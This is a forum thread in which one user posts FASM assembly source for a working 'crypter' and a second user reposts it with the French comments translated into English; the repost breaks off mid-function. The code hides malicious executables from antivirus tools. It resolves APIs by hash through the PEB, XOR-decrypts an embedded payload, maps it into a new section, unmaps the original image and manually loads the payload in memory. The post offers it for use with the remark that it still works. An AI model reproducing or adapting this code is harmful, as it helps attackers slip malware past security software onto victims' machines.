FASM Crypter without CreateProcess - Generalissimo - Feb 5, 2016
Old but it still works. The comments are in french, sorry for that.
Code ;-------------------------------------------------
; Projet: FASM Cryter
; Auteur: Xash
;-------------------------------------------------
format PE GUI 4.0
entry start
include 'include\win32w.inc'
include 'structs.inc'
;-------------------------------------------------
; code
section '.code' code readable writable executable
;-------------------------------------------------
;-------------------------------------------------
; Start - Point d'entré du programme
;-------------------------------------------------
start:
call delta
delta:
pop ebp ; Adresse absolu de delta
sub ebp, delta ; Désormais relative
mov [ebp+dwBoot], esi ; Pour savoir dans quel page on est (voir NtCreateSection)
lea eax, [ebp+GetKernel32]
call eax
cmp word [eax], 5A4Dh
jne exit ; Si la signature est corrompu, on quitte
mov dword [ebp+dwKernel32], eax ; On sauvegarde son adresse
mov esi, eax ; Yop, stocké dans ESI ça sera plus pratique !
mov ebx, [esi+3Ch] ; DosHeader.e_lfanew
add esi, ebx ; On passe au PE Header
cmp dword [esi], 4550h
jne exit ; Si la signature est corrompu, on quitte
mov ebx, [esi+78h] ; PeHeader.EAT.VirtualAdress
mov esi, dword [ebp+dwKernel32] ; Le RVA se calcule à partir du DOS Header
add esi, ebx ; On a trouvé l'EAT \o/
mov ecx, [esi+18h] ; EAT.NumberOfNames
mov dword [ebp+dwNumberOfNames], ecx
mov ecx, [esi+1Ch] ; EAT.AddressOfFunctions
mov dword [ebp+dwFunctions], ecx
mov ecx, [esi+24h] ; EAT.AddressOfNameOrdinals
mov dword [ebp+dwNameOrdinals], ecx
mov esi, [esi+20h] ; EAT.AddressOfNames
add esi, dword [ebp+dwKernel32] ; ESI contient maintenant la table des noms
xor ecx, ecx
NameLoop:
mov edx, [esi] ; EDX contient le RVA du nom
add edx, dword [ebp+dwKernel32] ; VA
;-------------------
push ecx
push esi ; On sauvegarde nos valeurs
push edx ; On pousse le nom sur la pile
lea eax, [ebp+DjbHash]
call eax ; On appel DjbHash - EAX va contenir le hash
pop esi
pop ecx ; On récupére nos valeurs
;-------------------
cmp eax, [ebp+dwHashGetProcAddress]
je LoadApi
add esi, 4 ; On passe au nom suivant
inc ecx
cmp ecx, dword [ebp+dwNumberOfNames] ; On a vue toutes les fonctions ?
jne NameLoop
LoadApi:
mov esi, dword [ebp+dwNameOrdinals] ; EAT.AddressOfNameOrdinals
add esi, dword [ebp+dwKernel32] ; On passe à une VA
xor eax, eax
mov ax, word [esi+ecx*2] ; On choppe son ordinal
mov esi, dword [ebp+dwFunctions] ; EAT.AddressOfFunctions
add esi, dword [ebp+dwKernel32] ; On passe à une VA
mov esi, dword [esi+eax*4] ; Yop, on a le RVA de la fonction
add esi, dword [ebp+dwKernel32] ; On passe à une VA -> WIN \o/
mov [ebp+dwGetProcAddress], esi
;--------------------------------
lea eax, [ebp+GetNtdll]
call eax
mov [ebp+dwNtdll], eax ; On a l'adresse de NTDLL
;{
lea eax, [ebp+szNtCreateSection]
push eax
push [ebp+dwNtdll]
call [ebp+dwGetProcAddress]
mov [ebp+dwNtCreateSection], eax ; NtCreateSection
;}{
;}{
lea eax, [ebp+szNtMapViewOfSection]
push eax
push [ebp+dwNtdll]
call [ebp+dwGetProcAddress]
mov [ebp+dwNtMapViewOfSection], eax ; NtMapViewOfSection
;}{
lea eax, [ebp+szNtUnmapViewOfSection]
push eax
push [ebp+dwNtdll]
call [ebp+dwGetProcAddress]
mov [ebp+dwNtUnmapViewOfSection], eax ; NtUnmapViewOfSection
;}{
lea eax, [ebp+szGetCurrentProcess]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwGetCurrentProcess], eax ; GetCurrentProcess
;}{
lea eax, [ebp+szVirtualAlloc]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwVirtualAlloc], eax ; VirtualAlloc
;}{
lea eax, [ebp+szGetModuleHandleW]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwGetModuleHandleW], eax ; GetModuleHandleW
;}{
lea eax, [ebp+szLoadLibraryA]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwLoadLibraryA], eax ; LoadLibraryA
;}{
lea eax, [ebp+szGetLastError]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwGetLastError], eax ; GetLastError
;}
;--------------------------------
; Si on a déjà mappé et déchiffré notre fichier, on passe tout ça
cmp [ebp+dwBoot], 0xB007
je mapped
; On va récupérer notre fichier :)
push 0
call [ebp+dwGetModuleHandleW]
mov [ebp+dwModule], eax
mov esi, eax ; EAX contient dwModule
mov esi, [esi_DosHeader.e_lfanew]
add esi, [ebp+dwModule] ; On arrive aux NT HEADERS
lea eax, [sizeof.IMAGE_NT_HEADERS + 1*sizeof.IMAGE_SECTION_HEADER] ; 2nd section
add esi, eax ; On arrive dans la table des sections
mov eax, [esi_SectionHeader.dwVirtualAddress]
add eax, [ebp+dwModule]
mov [ebp+dwFile], eax ; On a la VA du fichier de notre section
mov eax, [esi_SectionHeader.dwSizeOfRawData]
mov [ebp+dwFileSize], eax ; La taille du fichier chiffré
;----- Section n°4 ------
;----| Clé | Fichier |---
;------------------------
mov eax, [ebp+dwFile]
mov eax, dword [eax] ; On récupére la clé
mov dword [ebp+dwKey], eax
add dword [ebp+dwFile], 4 ; Le fichier commence après la clé
; On déchiffre le fichier (XOR DWORD)
mov eax, [ebp+dwKey]
mov edx, [ebp+dwFile]
mov edi, edx
add edi, [esi_SectionHeader.dwSizeOfRawData] ; EDI contient l'adresse de fin du fichier
decrypt:
xor dword [edx], eax
add edx, 4 ; On avance dans les données
cmp edx, edi ; Fin du fichier ?
jne decrypt
;---------------------------------------------------------------
; Le fichier est déchiffré, on attaque le chargement en mémoire
; On map une nouvelle section en mémoire
mov [ebp+maxSize.dwHighPart], 0
lea eax, [EOF - start] ; La taille de notre code
add eax, [ebp+dwFileSize] ; La taille du fichier
mov [ebp+maxSize.dwLowPart], eax ; La taille maximum de la page
lea ebx, [ebp+maxSize]
lea eax, [ebp+hSection]
push 0
push SEC_COMMIT
push PAGE_EXECUTE_READWRITE
push ebx ; maxSize
push 0
push SECTION_ALL_ACCESS
push eax ; hSection
call [ebp+dwNtCreateSection] ; On récupére notre section
lea edx, [ebp+dwSectionBaseAddr]
mov [ebp+dwViewSize], 0 ; On va visualiser toute la section
lea ebx, [ebp+dwViewSize]
call [ebp+dwGetCurrentProcess]
push PAGE_EXECUTE_READWRITE
push 0
push 1 ; ViewShare
push ebx ; dwViewSize
push 0
push 0
push 0
push edx ; dwSectionBaseAddr
push eax ; GetCurrentProcess()
push [ebp+hSection]
call [ebp+dwNtMapViewOfSection] ; Maintenant on la map
; On va copier notre loader dans la nouvelle section
lea eax, [EOF - start] ; La taille de notre code
mov edi, [ebp+dwSectionBaseAddr]
add edi, eax ; Le fichier va commencer après notre loader
mov esi, [ebp+dwFile] ; On le sauvegarde car on en aura besoin après
mov [ebp+dwFile], edi ; Le nouveau pointeur sur le fichier
lea ebx, [ebp+start] ; L'adresse du début du shellcode
push eax ; Size
push ebx ; Source - start
push [ebp+dwSectionBaseAddr] ; Destination
lea eax, [ebp+MemCpy]
call eax ; memcpy() - Notre shellcode
; On copie notre fichier dans la nouvelle section
push [ebp+dwFileSize] ; Size
push esi ; Source - ancien dwFile
push edi ; Destination
lea eax, [ebp+MemCpy]
call eax ; memcpy() - Le fichier à charger
mov [ebp+dwFile], edi ; On met à jour le pointeur vers le fichier
; On modifie notre ImageBase dans le PEB
mov eax, [fs:30h] ; PEB
mov edx, [ebp+dwSectionBaseAddr]
mov [eax+8], edx ; ImageBase (voir struct du PEB)
; On "boot" désormais
mov eax, [ebp+dwSectionBaseAddr]
mov esi, 0xB007 ; BOOT! :D
jmp eax
;--------------------------------
mapped:
; On démappe notre section de base
call [ebp+dwGetCurrentProcess]
mov [ebp+hProcess], eax
push 0x400000 ; BaseAddress
push [ebp+hProcess] ; ProcessHandle
call [ebp+dwNtUnmapViewOfSection] ; On supprime notre process de base
; On récupére quelques infos
mov esi, [ebp+dwFile] ; ESI contient donc le DOS Header
add esi, [esi_DosHeader.e_lfanew] ; Maintenant les NT Headers
mov eax, [esi_NtHeaders.dwAddressOfEntryPoint]
mov [ebp+dwEntryPoint], eax
; On commence par allouer la place demandée
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push [esi_NtHeaders.dwSizeOfImage]
push [esi_NtHeaders.dwImageBase]
call [ebp+dwVirtualAlloc]
mov [ebp+dwFileImageBase], eax
call [ebp+dwGetLastError]
; On place les headers
push [esi_NtHeaders.dwSizeOfHeaders] ; Size
push [ebp+dwFile] ; Source
push [ebp+dwFileImageBase] ; Destination
lea eax, [ebp+MemCpy]
call eax
xor ecx, ecx
mov cx, [esi_NtHeaders.wNumberOfSections]
add esi, sizeof.IMAGE_NT_HEADERS ; ESI contient la table des sections
loopSections:
mov eax, [esi_SectionHeader.dwPointerToRawData] ; La RVA de la section
add eax, [ebp+dwFile] ; VA
mov edi, [esi_SectionHeader.dwVirtualAddress] ; Où on doit le copier (RVA)
add edi, [ebp+dwFileImageBase] ; VA
push [esi_SectionHeader.dwSizeOfRawData] ; Size
push eax ; Source
push edi ; Destination
lea eax, [ebp+MemCpy]
call eax ; memcpy() - On copie le contenu de la section
add esi, sizeof.IMAGE_SECTION_HEADER ; Section suivante
dec ecx
test ecx, ecx
jne loopSections
; On modifie notre ImageBase dans le PEB
mov eax, [fs:30h] ; PEB
mov edx, [ebp+dwFileImageBase]
mov [eax+8], edx ; ImageBase (voir struct du PEB)
; On charge l'IAT
mov esi, [ebp+dwFileImageBase]
add esi, [esi_DosHeader.e_lfanew] ; NT Headers
mov esi, [esi_NtHeaders.dwImportTableAddress] ; RVA de l'Import Table
add esi, [ebp+dwFileImageBase] ; VA de l'IAT
nextDll:
mov eax, [esi_ImportDesc.dwName1]
add eax, [ebp+dwFileImageBase] ; On a récupéré le nom de la DLL
push eax
call [ebp+dwLoadLibraryA] ; On charge la DLL et/ou on récupére son adresse
mov [ebp+dwCurrentDLL], eax ; On sauvegarde l'adresse de la DLL
mov eax, [esi_ImportDesc.dwOriginalFirstThunk]
test eax, eax ; Si OriginalFirstThunk est vide
jne noBorland
mov eax, [esi_ImportDesc.dwFirstThunk] ; On utilise FirstThunk (Borland alakon)
noBorland:
add eax, [ebp+dwFileImageBase]
mov [ebp+dwOriginalFirstThunk], eax ; On récupére le VA du OriginalFirstThunk
mov eax, [esi_ImportDesc.dwFirstThunk]
add eax, [ebp+dwFileImageBase]
mov [ebp+dwFirstThunk], eax ; On récupére le VA du FirstThunk
nextAPI:
mov eax, [ebp+dwOriginalFirstThunk] ; EAX contient un IMAGE_THUNK_DATA32 (VA)
mov eax, [eax_ThunkData.dwAddressOfData] ; EAX contient un IMAGE_IMPORT_BY_NAME (RVA)
test eax, IMAGE_ORDINAL_FLAG32 ; Exporté par ordinal ?
je importByName
importByOrdinal:
and eax, 0x0FFFF ; On garde que le LSB
jmp searchAPI
importByName:
add eax, [ebp+dwFileImageBase] ; VA
searchAPI:
lea edi, [eax_ImportByName.dwName1]
push edi ; Le nom de l'API
push [ebp+dwCurrentDLL] ; La DLL
call [ebp+dwGetProcAddress] ; On récupére son adresse
mov ebx, [ebp+dwFirstThunk]
mov [ebx], eax ; On met à jour le FirstThunk avec l'adresse de la fonction
add [ebp+dwOriginalFirstThunk], sizeof.IMAGE_THUNK_DATA32 ; Prochain dwOriginalFirstThunk
add [ebp+dwFirstThunk], sizeof.IMAGE_THUNK_DATA32 ; Prochain FirstThunk
mov eax, [ebp+dwOriginalFirstThunk] ; On récupére la VA de l'OFT
mov eax, [eax_ThunkData.dwAddressOfData] ; Son contenu
test eax, eax ; Si il est nul, on est à la dernière API
jne nextAPI
add esi, sizeof.IMAGE_IMPORT_DESCRIPTOR ; DLL suivante
cmp [esi_ImportDesc.dwFirstThunk], 0
jne nextDll
; On saute sur notre point d'entrée
mov eax, [ebp+dwFileImageBase]
add eax, [ebp+dwEntryPoint]
jmp eax
exit:
ret
;-------------------------------------------------
;-------------------------------------------------
startInfo STARTUPINFO
procInfo PROCESS_INFORMATION
ctx CONTEXT
dwNtdll dd 0
dwKernel32 dd 0
dwNumberOfNames dd 0
dwFunctions dd 0
dwNameOrdinals dd 0
dwHashGetProcAddress dd 0xCF31BB1F
dwGetProcAddress dd 0
szNtCreateSection db 'NtCreateSection', 0
szNtMapViewOfSection db 'NtMapViewOfSection', 0
szNtUnmapViewOfSection db 'NtUnmapViewOfSection', 0
szGetCurrentProcess db 'GetCurrentProcess', 0
szVirtualAlloc db 'VirtualAlloc', 0
szGetModuleHandleW db 'GetModuleHandleW', 0
szLoadLibraryA db 'LoadLibraryA', 0
szGetLastError db 'GetLastError', 0
;--
dwNtCreateSection dd 0
dwNtMapViewOfSection dd 0
dwNtUnmapViewOfSection dd 0
dwGetCurrentProcess dd 0
dwVirtualAlloc dd 0
dwGetModuleHandleW dd 0
dwLoadLibraryA dd 0
dwGetLastError dd 0
dwFile dd 0
dwFileSize dd 0
dwKey dd 0
dwFileImageBase dd 0
hSection dd 0
align 8
maxSize LARGE_INTEGER 0
dwSectionBaseAddr dd 0
dwViewSize dd 0
dwBoot dd 0 ; Permet de vérifier si on a déjà tout mappé
hProcess dd 0
dwEntryPoint dd 0
dwModule dd 0
dwOriginalFirstThunk dd 0
dwFirstThunk dd 0
dwCurrentDLL dd 0
;-------------------------------------------------
; GetNtdll - Récupére l'adresse de ntdll.dll
; via le PEB du processure (2nd entrée)
;-------------------------------------------------
proc GetNtdll
mov eax, [fs:30h] ; PEB
mov eax, [eax + 0Ch] ; PEB->Ldr
mov eax, [eax + 14h] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
mov eax, [eax] ; 2nd entrée (ntdll.dll)
mov eax, [eax + 10h] ; Adresse de base de la 2nd entrée
ret
endp
;-------------------------------------------------
; GetKernel32 - Récupére l'adresse de kernel32.dll
; via le PEB du processure (3éme entrée)
;-------------------------------------------------
proc GetKernel32
mov eax, [fs:30h] ; PEB
mov eax, [eax + 0Ch] ; PEB->Ldr
mov eax, [eax + 14h] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
mov eax, [eax] ; 2nd entrée (ntdll.dll)
mov eax, [eax] ; 3éme entrée (kernel32.dll)
mov eax, [eax + 10h] ; Adresse de base de la 3éme entrée
ret
endp
;-------------------------------------------------
; DjbHash - Permet d'hasher via DJB
; p°1: Contient un pointeur vers le string
;-------------------------------------------------
proc DjbHash
mov esi, [esp+4]
mov eax, 5381d ; 2^32
hLoop:
mov ebx, eax ; On le sauvegarde
shl eax, 5 ; eax << 5
add eax, ebx ; eax + ancien eax
movzx ecx, byte[esi] ; Obligé pour gérer la retenue
add eax, ecx ; On ajoute le caractére
inc esi ; str++
cmp byte [esi], 0 ; Fin de la chaîne
jne hLoop
retn 4
endp
;-------------------------------------------------
; MemCpy - Equivalent du memcpy du C
;-------------------------------------------------
proc MemCpy, lpDest, lpSource, Count
push esi edi ecx
mov esi, [lpSource]
mov edi, [lpDest]
mov ecx, [Count]
test ecx, ecx ; Si la taille est nulle
je endCopy ; On quitte
copyLoop:
mov al, byte [esi]
mov byte [edi], al
inc edi
inc esi
dec ecx
test ecx, ecx
jne copyLoop
endCopy:
pop ecx edi esi
ret
endp
EOF:
* - zilo - Feb 6, 2016
All translated to english.
EDIT: Where can I find 'structs.inc' ?
Code ;-------------------------------------------------
; Projet: FASM Cryter
; Auteur: Xash
;-------------------------------------------------
format PE GUI 4.0
entry start
include 'include\win32w.inc'
include 'structs.inc'
;-------------------------------------------------
; code
section '.code' code readable writable executable
;-------------------------------------------------
;-------------------------------------------------
; Start - entry point
;-------------------------------------------------
start:
call delta
delta:
pop ebp ; delta's absolute address
sub ebp, delta ; now relative
mov [ebp+dwBoot], esi ; To know which page we are (see NtCreateSection)
lea eax, [ebp+GetKernel32]
call eax
cmp word [eax], 5A4Dh
jne exit ; If the signature is corrupted, quit
mov dword [ebp+dwKernel32], eax ; We save its address
mov esi, eax ; Save it in ESI as well, more practical
mov ebx, [esi+3Ch] ; DosHeader.e_lfanew
add esi, ebx ; We switch to PE header
cmp dword [esi], 4550h
jne exit ; If the signature is corrupted, quit
mov ebx, [esi+78h] ; PeHeader.EAT.VirtualAdress
mov esi, dword [ebp+dwKernel32] ; The rva is calculated from the DOS Header
add esi, ebx ; We found the EAT \o/
mov ecx, [esi+18h] ; EAT.NumberOfNames
mov dword [ebp+dwNumberOfNames], ecx
mov ecx, [esi+1Ch] ; EAT.AddressOfFunctions
mov dword [ebp+dwFunctions], ecx
mov ecx, [esi+24h] ; EAT.AddressOfNameOrdinals
mov dword [ebp+dwNameOrdinals], ecx
mov esi, [esi+20h] ; EAT.AddressOfNames
add esi, dword [ebp+dwKernel32] ; ESI now contains the name table
xor ecx, ecx
NameLoop:
mov edx, [esi] ; EDX contains the rva of the name
add edx, dword [ebp+dwKernel32] ; VA
;-------------------
push ecx
push esi ; We save our values
push edx ; We push he name on stack
lea eax, [ebp+DjbHash]
call eax ; we call DjbHash - EAX will contain the hash
pop esi
pop ecx ; We get our values back
;-------------------
cmp eax, [ebp+dwHashGetProcAddress]
je LoadApi
add esi, 4 ; We push the next name
inc ecx
cmp ecx, dword [ebp+dwNumberOfNames] ; We saw all the functions ?
jne NameLoop
LoadApi:
mov esi, dword [ebp+dwNameOrdinals] ; EAT.AddressOfNameOrdinals
add esi, dword [ebp+dwKernel32] ; We go to a VA
xor eax, eax
mov ax, word [esi+ecx*2] ; We get its ordinal
mov esi, dword [ebp+dwFunctions] ; EAT.AddressOfFunctions
add esi, dword [ebp+dwKernel32] ; We go to a VA
mov esi, dword [esi+eax*4] ; Yep, we got the function's RVA
add esi, dword [ebp+dwKernel32] ; We go to a VA-> WIN \o/
mov [ebp+dwGetProcAddress], esi
;--------------------------------
lea eax, [ebp+GetNtdll]
call eax
mov [ebp+dwNtdll], eax ; We get NTDLL's address
;{
lea eax, [ebp+szNtCreateSection]
push eax
push [ebp+dwNtdll]
call [ebp+dwGetProcAddress]
mov [ebp+dwNtCreateSection], eax ; NtCreateSection
;}{
;}{
lea eax, [ebp+szNtMapViewOfSection]
push eax
push [ebp+dwNtdll]
call [ebp+dwGetProcAddress]
mov [ebp+dwNtMapViewOfSection], eax ; NtMapViewOfSection
;}{
lea eax, [ebp+szNtUnmapViewOfSection]
push eax
push [ebp+dwNtdll]
call [ebp+dwGetProcAddress]
mov [ebp+dwNtUnmapViewOfSection], eax ; NtUnmapViewOfSection
;}{
lea eax, [ebp+szGetCurrentProcess]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwGetCurrentProcess], eax ; GetCurrentProcess
;}{
lea eax, [ebp+szVirtualAlloc]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwVirtualAlloc], eax ; VirtualAlloc
;}{
lea eax, [ebp+szGetModuleHandleW]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwGetModuleHandleW], eax ; GetModuleHandleW
;}{
lea eax, [ebp+szLoadLibraryA]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwLoadLibraryA], eax ; LoadLibraryA
;}{
lea eax, [ebp+szGetLastError]
push eax
push [ebp+dwKernel32]
call [ebp+dwGetProcAddress]
mov [ebp+dwGetLastError], eax ; GetLastError
;}
;--------------------------------
;If we already mapped and decrypted our file, we skip all that
cmp [ebp+dwBoot], 0xB007
je mapped
; We get our file
push 0
call [ebp+dwGetModuleHandleW]
mov [ebp+dwModule], eax
mov esi, eax ; EAX contains dwModule
mov esi, [esi_DosHeader.e_lfanew]
add esi, [ebp+dwModule] ; We reach NT HEADERS
lea eax, [sizeof.IMAGE_NT_HEADERS + 1*sizeof.IMAGE_SECTION_HEADER] ; 2nd section
add esi, eax ; We reach sections table
mov eax, [esi_SectionHeader.dwVirtualAddress]
add eax, [ebp+dwModule]
mov [ebp+dwFile], eax ; We got the VA of our section's file
mov eax, [esi_SectionHeader.dwSizeOfRawData]
mov [ebp+dwFileSize], eax ; The file size is crypted
;----- Section n°4 ------
;----| Clé | Fichier |---
;------------------------
mov eax, [ebp+dwFile]
mov eax, dword [eax] ; We get the key
mov dword [ebp+dwKey], eax
add dword [ebp+dwFile], 4 ; The file starts after the key
; We decrypt the file (XOR DWORD)
mov eax, [ebp+dwKey]
mov edx, [ebp+dwFile]
mov edi, edx
add edi, [esi_SectionHeader.dwSizeOfRawData] ; EDI the address of EOF
decrypt:
xor dword [edx], eax
add edx, 4 ; Move data foward
cmp edx, edi ; EOF ?
jne decrypt
;---------------------------------------------------------------
; The file is decrypted, we shove it in memory
; We map a new memory section
mov [ebp+maxSize.dwHighPart], 0
lea eax, [EOF - start] ; Our code's size
add eax, [ebp+dwFileSize] ; Our file size
mov [ebp+maxSize.dwLowPart], eax ; The page's max size
lea ebx, [ebp+maxSize]
lea eax, [ebp+hSection]
push 0
push SEC_COMMIT
push PAGE_EXECUTE_READWRITE
push ebx ; maxSize
push 0
push SECTION_ALL_ACCESS
push eax ; hSection
call [ebp+dwNtCreateSection] ; We get our section
lea edx, [ebp+dwSectionBaseAddr]
mov [ebp+dwViewSize], 0 ; We will visualize all the section
lea ebx, [ebp+dwViewSize]
call [ebp+dwGetCurrentProcess]
push PAGE_EXECUTE_READWRITE
push 0
push 1 ; ViewShare
push ebx ; dwViewSize
push 0
push 0
push 0
push edx ; dwSectionBaseAddr
push eax ; GetCurrentProcess()
push [ebp+hSection]
call [ebp+dwNtMapViewOfSection] ; Now we map it
; On va copier notre loader dans la nouvelle section
lea eax, [EOF - start] ; Our code's size
mov edi, [ebp+dwSectionBaseAddr]
add edi, eax ;The file will start after the loader
mov esi, [ebp+dwFile] ; We'll need that later
mov [ebp+dwFile], edi ;The new file's pointer
lea ebx, [ebp+start] ; The shellcode start address
push eax ; Size
push ebx ; Source - start
push [ebp+dwSectionBaseAddr] ; Destination
lea eax, [ebp+MemCpy]
call eax ; memcpy() - Our shellcode
; We copy our file in the new section
push [ebp+dwFileSize] ; Size
push esi ; Source - old dwFile
push edi ; Destination
lea eax, [ebp+MemCpy]
call eax ; memcpy() - The file to load
mov [ebp+dwFile], edi ; We update the pointer to the file
; On modifie notre ImageBase dans le PEB
mov eax, [fs:30h] ; PEB
mov edx, [ebp+dwSectionBaseAddr]
mov [eax+8], edx ; ImageBase (see PEB struct)
; On "boot" désormais
mov eax, [ebp+dwSectionBaseAddr]
mov esi, 0xB007 ; BOOT! :D
jmp eax
;--------------------------------
mapped:
;We unmap our parent section
call [ebp+dwGetCurrentProcess]
mov [ebp+hProcess], eax
push 0x400000 ; BaseAddress
push [ebp+hProcess] ; ProcessHandle
call [ebp+dwNtUnmapViewOfSection] ; We delete parent's process
; We get some info
mov esi, [ebp+dwFile] ; ESI contains DOS header
add esi, [esi_DosHeader.e_lfanew] ; Now the NT Headers
mov eax, [esi_NtHeaders.dwAddressOfEntryPoint]
mov [ebp+dwEntryPoint], eax
; We start by allocating the space asked
push PAGE_EXECUTE_READWRITE
push MEM_COMMIT or MEM_RESERVE
push [esi_NtHeaders.dwSizeOfImage]
push [esi_NtHeaders.dwImageBase]
call [ebp+dwVirtualAlloc]
mov [ebp+dwFileImageBase], eax
call [ebp+dwGetLastError]
; We place the headers
push [esi_NtHeaders.dwSizeOfHeaders] ; Size
push [ebp+dwFile] ; Source
push [ebp+dwFileImageBase] ; Destination
lea eax, [ebp+MemCpy]
call eax
xor ecx, ecx
mov cx, [esi_NtHeaders.wNumberOfSections]
add esi, sizeof.IMAGE_NT_HEADERS ; ESI contains the section tables
loopSections:
mov eax, [esi_SectionHeader.dwPointerToRawData] ; the section's RVA
add eax, [ebp+dwFile] ; VA
mov edi, [esi_SectionHeader.dwVirtualAddress] ; We we want to copy it (RVA)
add edi, [ebp+dwFileImageBase] ; VA
push [esi_SectionHeader.dwSizeOfRawData] ; Size
push eax ; Source
push edi ; Destination
lea eax, [ebp+MemCpy]
call eax ; memcpy() - We copy the contents to the section
add esi, sizeof.IMAGE_SECTION_HEADER ; Next section
dec ecx
test ecx, ecx
jne loopSections
; We modify our ImageBase (parent image?) in the PEB
mov eax, [fs:30h] ; PEB
mov edx, [ebp+dwFileImageBase]
mov [eax+8], edx ; ImageBase (see PEB struct)
; On charge l'IAT
mov esi, [ebp+dwFileImageBase]
add esi, [esi_DosHeader.e_lfanew] ; NT Headers
mov esi, [esi_NtHeaders.dwImportTableAddress] ; Import Table's RVA
add esi, [ebp+dwFileImageBase] ; IAT's VA
nextDll:
mov eax, [esi_ImportDesc.dwName1]
add eax, [ebp+dwFileImageBase] ; We get the DLL's name
push eax
call [ebp+dwLoadLibraryA] ; We get the DLL's address (load it)
mov [ebp+dwCurrentDLL], eax ; We save its address
mov eax, [esi_ImportDesc.dwOriginalFirstThunk]
test eax, eax ; If OriginalFirstThunk is empty
jne noBorland
mov eax, [esi_ImportDesc.dwFirstThunk] ; We use FirstThunk (Borland alakon)
noBorland:
add eax, [ebp+dwFileImageBase]
mov [ebp+dwOriginalFirstThunk], eax ; We get the OriginalFirstThunk's VA
mov eax, [esi_ImportDesc.dwFirstThunk]
add eax, [ebp+dwFileImageBase]
mov [ebp+dwFirstThunk], eax ; We get the FirstThunk's VA
nextAPI:
mov eax, [ebp+dwOriginalFirstThunk] ; EAX contains a IMAGE_THUNK_DATA32 (VA)
mov eax, [eax_ThunkData.dwAddressOfData] ; EAX contains a IMAGE_IMPORT_BY_NAME (RVA)
test eax, IMAGE_ORDINAL_FLAG32 ; Exported by ordinal ?
je importByName
importByOrdinal:
and eax, 0x0FFFF ; We only keep the LSB
jmp searchAPI
importByName:
add eax, [ebp+dwFileImageBase] ; VA
searchAPI:
lea edi, [eax_ImportByName.dwName1]
push edi ; API's name
push [ebp+dwCurrentDLL] ; The DLL
call [ebp+dwGetProcAddress] ; We get its address
mov ebx, [ebp+dwFirstThunk]
mov [ebx], eax ;We update the FirstThunk with the function's addres
add [ebp+dwOriginalFirstThunk], sizeof.IMAGE_THUNK_DATA32 ; Prochain dwOriginalFirstThunk
add [ebp+dwFirstThunk], sizeof.IMAGE_THUNK_DATA32 ; Prochain FirstThunk
mov eax, [ebp+dwOriginalFirstThunk] ; We get the OFT's VA
mov eax, [eax_ThunkData.dwAddressOfData] ; its contents
test eax, eax ; If he's null, it's the last API
jne nextAPI
add esi, sizeof.IMAGE_IMPORT_DESCRIPTOR ; next DLL
cmp [esi_ImportDesc.dwFirstThunk], 0
jne nextDll
; We jump on our entry point
mov eax, [ebp+dwFileImageBase]
add eax, [ebp+dwEntryPoint]
jmp eax
exit:
ret
;-------------------------------------------------
;-------------------------------------------------
startInfo STARTUPINFO
procInfo PROCESS_INFORMATION
ctx CONTEXT
dwNtdll dd 0
dwKernel32 dd 0
dwNumberOfNames dd 0
dwFunctions dd 0
dwNameOrdinals dd 0
dwHashGetProcAddress dd 0xCF31BB1F
dwGetProcAddress dd 0
szNtCreateSection db 'NtCreateSection', 0
szNtMapViewOfSection db 'NtMapViewOfSection', 0
szNtUnmapViewOfSection db 'NtUnmapViewOfSection', 0
szGetCurrentProcess db 'GetCurrentProcess', 0
szVirtualAlloc db 'VirtualAlloc', 0
szGetModuleHandleW db 'GetModuleHandleW', 0
szLoadLibraryA db 'LoadLibraryA', 0
szGetLastError db 'GetLastError', 0
;--
dwNtCreateSection dd 0
dwNtMapViewOfSection dd 0
dwNtUnmapViewOfSection dd 0
dwGetCurrentProcess dd 0
dwVirtualAlloc dd 0
dwGetModuleHandleW dd 0
dwLoadLibraryA dd 0
dwGetLastError dd 0
dwFile dd 0
dwFileSize dd 0
dwKey dd 0
dwFileImageBase dd 0
hSection dd 0
align 8
maxSize LARGE_INTEGER 0
dwSectionBaseAddr dd 0
dwViewSize dd 0
dwBoot dd 0 ; Used to verify if it's already mapped
hProcess dd 0
dwEntryPoint dd 0
dwModule dd 0
dwOriginalFirstThunk dd 0
dwFirstThunk dd 0
dwCurrentDLL dd 0
;-------------------------------------------------
; GetNtdll - Récupére l'adresse de ntdll.dll
; via le PEB du processure (2nd entrée)
;-------------------------------------------------
proc GetNtdll
mov eax, [fs:30h] ; PEB
mov eax, [eax + 0Ch] ; PEB->Ldr
mov eax, [eax + 14h] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
mov eax, [eax] ; 2nd entrée (ntdll.dll)
mov eax, [eax + 10h] ; 2nd entry's address
ret
endp
;-------------------------------------------------
; GetKernel32 - get kernel32.dll address
; via the process's PEB (3rd entry)
;-------------------------------------------------
proc GetKernel32
mov eax, [fs:30h] ; PEB
mov eax, [eax + 0Ch] ; PEB->Ldr
mov eax, [eax + 14h] ; PEB->Ldr.InMemoryOrderModuleList.Flink (1ére entrée)
mov eax, [eax] ; 2nd entry (ntdll.dll)
mov eax, [eax] ; 3nd entry (kernel32.dll)
mov eax, [eax + 10h] ; 3rd entry's address
ret
endp
;-------------------------------------------------
; DjbHash - used to hash via DJB
; p°1: Contains a pointer to the string
;-------------------------------------------------
proc DjbHash
mov esi, [esp+4]
mov eax, 5381d ; 2^32
hLoop:
mov ebx, eax ; We save it
shl eax, 5 ; eax << 5
add eax, ebx ; eax + former eax
movzx ecx, byte[esi] ; Essential to manage the retenue (return?)
add eax, ecx ; We add the character
inc esi ; str++
cmp byte [esi], 0 ; end of string
jne hLoop
retn 4
endp
;-------------------------------------------------
; MemCpy - C memcpy equivalent
;-------------------------------------------------
proc MemCpy, lpDest, lpSource, Count
push esi edi ecx
mov esi, [lpSource]
mov edi, [lpDest]
mov ecx, [Count]
